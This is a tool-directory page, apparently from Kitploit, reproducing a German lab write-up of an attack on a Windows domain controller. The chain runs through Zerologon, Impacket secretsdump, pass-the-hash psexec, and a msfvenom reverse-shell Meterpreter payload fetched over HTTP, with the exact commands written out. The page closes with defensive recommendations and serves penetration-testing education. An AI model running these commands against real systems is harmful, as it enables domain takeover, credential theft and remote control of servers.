Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Domain-Controller-DC-Exploitation-with-Metasploit-Impacket — End-to-End-Domain-Controller-Ausnutzung mit Metasploit und Impacket: DC10 entdeckt, Zerologon (CVE-2020-1472) ausgenutzt, NTLM-Hashes extrahiert, SYSTEM-Shell erlangt und eine Meterpreter-Sitzung eingerichtet. | Kitploit
Tools/GitHubGitHub/nyambiblaise/domain-controller-dc-exploitation-with-metasploit-impacket
AufklärungExploit-FrameworksPayload-GenerierungSchwachstellenanalyseLaterale BewegungPost-ExploitationPenetrationstestsLernen & BildungLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
GitHubnyambiblaise/domain-controller-dc-exploitation-with-metasploit-impacket

Domain-Controller-DC-Exploitation-with-Metasploit-Impacket

End-to-End-Domain-Controller-Ausnutzung mit Metasploit und Impacket: DC10 entdeckt, Zerologon (CVE-2020-1472) ausgenutzt, NTLM-Hashes extrahiert, SYSTEM-Shell erlangt und eine Meterpreter-Sitzung eingerichtet.

Repository anzeigen
vor 10 MonatenNoch nicht geprüft
Teilen

Domain-Controller-DC-Ausnutzung-mit-Metasploit-Impacket

End-to-End-Domain-Controller-Ausnutzung mit Metasploit und Impacket: DC10 entdeckt, Zerologon (CVE-2020-1472) ausgenutzt, NTLM-Hashes extrahiert, SYSTEM-Shell erlangt und eine Meterpreter-Sitzung eingerichtet.

Zusammenfassung Diese Übung demonstriert eine vollständige, realistische Angriffskette gegen einen Domain Controller, der anfällig für CVE-2020-1472 (Zerologon) war. Das Engagement umfasste Entdeckung, Service-Anreicherung, Ausnutzung, Credential-Extraktion, laterale Bewegung und Post-Exploitation-Validierung. Ich habe erfolgreich SYSTEM-Ebene-Zugriff erlangt und eine persistente Meterpreter-Sitzung auf dem DC eingerichtet, unter Verwendung einer Kombination aus Zerologon, Impacket secretsdump + Pass-the-Hash und msfvenom/Meterpreter-Payloads. Screenshots und Befehlsartefakte wurden in jeder Phase als Beweise erfasst.

𝐋𝐚𝐛 𝐨𝐯𝐞𝐫𝐯𝐢𝐞𝐰: Simulated a full attack chain on a 𝐖𝐢𝐧𝐝𝐨𝐰𝐬 𝐃𝐨𝐦𝐚𝐢𝐧 𝐂𝐨𝐧𝐭𝐫𝐨𝐥𝐥𝐞𝐫 using 𝐌𝐞𝐭𝐚𝐬𝐩𝐥𝐨𝐢𝐭 and 𝐈𝐦𝐩𝐚𝐜𝐤𝐞𝐭 ; discovery, Zerologon, secretsdump, pass-the-hash, and a controlled Meterpreter session.

𝐖𝐡𝐲 𝐢𝐭 𝐦𝐚𝐭𝐭𝐞𝐫𝐬 𝐭𝐨 𝐨𝐫𝐠𝐚𝐧𝐢𝐳𝐚𝐭𝐢𝐨𝐧𝐬: Because the DC controls authentication, group policy, and identity for the entire domain, a compromise can cascade into full business disruption, account takeovers, data exfiltration, ransomware deployment, and loss of regulatory trust. Protecting DCs safeguards uptime, revenue, and reputation by preventing attackers from turning identity into a single point of failure.

Domain Controller (DC) Ausnutzung mit Metasploit + Impacket

SCENARIO

Sie haben zwei Maschinen in einem abgeschotteten Labornetzwerk. Ein System ist ein Windows-Domänencontroller (DC) namens DC10, der die zentralen AD-Dienste hostet. Das andere System ist eine Kali-Workstation, die sich zu Testzwecken im selben Server-Subnetz befindet. Es wird angenommen, dass der DC typische Domänendienste bereitstellt (z. B. LDAP, Kerberos, SMB) und möglicherweise anfällig für bekannte Probleme ist. Der Kali-Host soll für Reconnaissance, Exploitation, Credential Access, laterale Bewegung und Post-Exploitation-Validierung verwendet werden. Die Aufgabe besteht darin, den DC zu identifizieren, Domänendetails zu bestätigen, einen ersten Fuß zu fassen mithilfe einer geeigneten Technik, Credential-Material zu extrahieren, um administrativen Zugriff zu ermöglichen, und dann die Kontrolle über den DC durch eine Remote-Shell und eine Managed-Agent-Sitzung zu demonstrieren, während an die Umgebungsbeschränkungen wie gepatchte Dienste, eingeschränkten Egress oder Endpunkt-Abwehrmaßnahmen angepasst wird. DC: 10.1.16.1 Kali: 10.1.16.66

Key Findings

  • Kritische ausgenutzte Schwachstelle: CVE-2020-1472 (Zerologon) wurde erfolgreich ausgenutzt, um das Computerkonto-Passwort des DC auf leer zurückzusetzen.
  • Credential-Kompromittierung: NTLM-Hashes wurden vom DC extrahiert (secretsdump), wodurch Administrator-Anmeldedaten für Pass-the-Hash offengelegt wurden.
  • Vollständige Domänenkontrolle demonstriert: Mit den extrahierten Hashes wurde eine SYSTEM-Shell auf DC10 erlangt (psexec) und eine stabile Meterpreter-Reverse-Shell ausgeführt, was Remote-Code-Ausführung und Persistenz bestätigt.
  • Offengelegte Dienste: LDAP, Kerberos, SMB und verwandte RPC-Dienste waren vom angreifenden Host erreichbar, was Entdeckung und Ausnutzung ermöglichte.
  • Angriffsflächenrisiko: Der DC akzeptierte Remote-Operationen, die eine Manipulation des Computerkontos und Remote-Payload-Ausführung ermöglichten.

1) Entdeckung und Scoping

Ich verwendete msfconsole mit DB-Unterstützung, führte einen nmap-Sweep aus MSF heraus durch, importierte Ergebnisse und verfeinerte Hosts und Dienste, um die Exposition von DC10 zu bestätigen.

  • msfconsole mit DB-Unterstützung gestartet und Datenbankverbindung bestätigt.
  • Einen nmap-Scan über das Subnetz von msfconsole aus durchgeführt und Ergebnisse in die MSF-DB importiert.
  • Die Hosts-Tabelle bereinigt, um meine Kali-IP zu entfernen. Dienste überprüft, um wahrscheinliche DC-Indikatoren zu erkennen.
  • Den SYN-Port-Scanner von MSF mit einem eingeschränkten Portbereich und globalem Threading verwendet, um Servicedaten zu verfeinern.
  • SMB auf Windows-Hosts gefingerprintet, um OS-Details anzureichern.
  • LDAP- und Kerberos-Dienste auf 10.1.16.1 bestätigt und den Domänennamen über eine LDAP-Abfrage verifiziert.
  • Entscheidung: 10.1.16.1 als DC-Fokus für Exploitation und Credential Access behandeln.
Bild Bild Bild

2) Service-Anreicherung und DC-Bestätigung

Ich führte einen SYN-Port-Scan in MSF durch, fingerprintete SMB und bestätigte LDAP und Kerberos auf 10.1.16.1. Ich fragte LDAP ab, um den Domänennamen abzurufen.

Bild Bild Bild Bild Bild ### SMB-Versionsprüfung
  • Ich verwendete das SMB-Version-Modul in msfconsole: auxiliary/scanner/smb/smb_version.
  • Ich setzte die Ziele aus der Hosts-Tabelle mit hosts -R .
  • Erhielt SMB-Dialekt und OS-Details zurück.
  • Ergebnis: 10.1.16.1 zeigte Windows Server-Informationen, was mit der Rolle als Domain Controller übereinstimmte.
Bild Bild Bild Bild Bild

LDAP-Abfrage

  • Für das LDAP-Abfragemodul verwendete ich auxiliary/gather/ldap_query.
  • et rhosts 10.1.16.1, um DC10 direkt zu erreichen.
  • Ich führte es aus, um grundlegende Verzeichnisinformationen abzurufen.
  • Ergebnis: Der Domänenname wurde als „structureality“ bestätigt und dass LDAP auf dem DC antwortete.
Bild Bild Bild Bild

3) Zerologon-Exploitation (Erstzugriff)

Ich führte auxiliary/admin/dcerpc/cve_2020_1472_zerologon gegen DC10 aus, um das Computerkonto-Passwort auf leer zurückzusetzen.

Bild Bild

4) Credential Access (secretsdump)

Mit Impacket dumpste ich NTLM-Hashes vom DC und identifizierte Administrator-Anmeldedaten für Pass-the-Hash.

impacket-secretsdump -just-dc-ntlm structureality/dc10\[email protected]

Bild Bild

5) Laterale Bewegung (psexec)

Ich verwendete Pass-the-Hash mit psexec, um eine SYSTEM-Shell auf DC10 zu erlangen, und validierte die Host-Identität.

impacket-psexec structureality/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:dae57d78fec919471799ce0fae8236b9 Wie Sie sehen können, bin ich bereits in C:\Windows\system32

Bild Bild

6) Post-Exploitation (Meterpreter)

Ich erstellte ein reverse_tcp Meterpreter-Payload, hostete es über HTTP, lud es auf DC10 herunter, startete einen Handler und führte das Payload aus, um eine Meterpreter-Sitzung zu öffnen.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.16.66 LPORT=4567 -f exe -o secretfile.exe

Bild Bild Ich startete einen einfachen Webserver, damit das Zielsystem dieses Meterpreter-Executable leicht herunterladen konnte, indem ich verwendete:

python3 -m http.server 8080

Bild Auf dem Zielsystem führte ich das Meterpreter-Executable (secret.exe) aus Bild Bild Bild Bild Bild

Wie Sie sehen können, habe ich nun eine Reverse-Shell-Verbindung zwischen dem Ziel-DC10 und den Kali-Systemen hergestellt. Dies wurde nur durch externe/Remote-Exploits gegen das anfällige Ziel erreicht.

Während sich das Kali-System im selben Server-Subnetz wie das DC10-Ziel befindet, sind diese Arten von Angriffen über das Internet möglich, wenn das Zielsystem dem offenen Internet ausgesetzt ist.

7) Wichtigste Ergebnisse

  • DC10 als Domain Controller für structureality identifiziert
  • Zerologon erfolgreich, ermöglichte Credential-Extraktion
  • Administrator-Hash für SYSTEM-Shell via Pass-the-Hash verwendet
  • Stabile Meterpreter-Sitzung auf DC10 bestätigt

Beweise

  • MSF-DB- und nmap-Subnetz-Scan-Protokolle, die Host-/Service-Erkennung bestätigen.
  • SMB-/LDAP-/Kerberos-Enumeration-Ausgabe, die DC-Dienste und Domänennamen structureality bestätigt.
  • Zerologon-Modul-Ausgabe, die das Zurücksetzen des Computerkonto-Passworts auf leer zeigt.
  • secretsdump-Ausgabe mit extrahierten NTLM-Hashes.
  • psexec-Sitzungsprotokolle, die C:\Windows\System32 demonstrieren.
  • msfvenom- und Meterpreter-Sitzungs-Screenshots, die Fernsteuerung bestätigen.

Durchgeführte Aktionen (Zusammenfassung)

  • Entdeckung & Scoping: nmap-Scans von msfconsole; MSF-DB zur Verwaltung von Hosts/Diensten verwendet; DC10 als Ziel bestätigt.
  • Service-Anreicherung: SMB-Fingerprinting, LDAP-Abfragen, Kerberos-Bestätigung zur Validierung der Domain-Controller-Rolle.
  • Erstzugriff: auxiliary/admin/dcerpc/cve_2020_1472_zerologon ausgeführt, um DC-Computer-Konto-Passwort zurückzusetzen.
  • Credential Access: impacket-secretsdump zum Extrahieren von NTLM-Hashes vom DC.
  • Laterale Bewegung: impacket-psexec mit Administrator-NTLM-Hash → SYSTEM-Shell.
  • Post-Exploitation: Meterpreter-Payload (msfvenom) erstellt und gehostet, auf DC heruntergeladen und ausgeführt, persistente Sitzung bestätigt.

Empfehlungen für die Netzwerkbesitzer

  • Netlogon-Schwachstelle sofort patchen und mit einem Scan auf CVE-2020-1472-Exposition überprüfen
  • SMB-Signierung erzwingen und DC SMB- und RPC-Exposition auf vertrauenswürdige Admin-Subnetze beschränken
  • Abgestufte Admin-Implementierung und Remote-Dienstausführung von Nicht-Admin-Management-Hosts verweigern
  • NTLM deaktivieren oder streng kontrollieren, Kerberos bevorzugen und auf Pass-the-Hash-Muster überwachen
  • Egress-Kontrolle: ausgehende Verbindungen von Servern einschränken, nur erforderliche Ziele und Ports erlauben
  • Endpunktschutz: unsignierte Binärdateien blockieren und AMSI-integriertes Scannen auf PowerShell anwenden
  • Überwachung: auf Zurücksetzungen von Computerkonto-Passwörtern, anomale DRSUAPI-Zugriffe und unerwartete Handler-ähnliche Listener alarmieren
  • Privilegierte Anmeldedaten regelmäßig rotieren und LAPS- oder PAM-Lösungen verwenden, um das Hash-Wiederverwendungsrisiko zu reduzieren
Tool herunterladen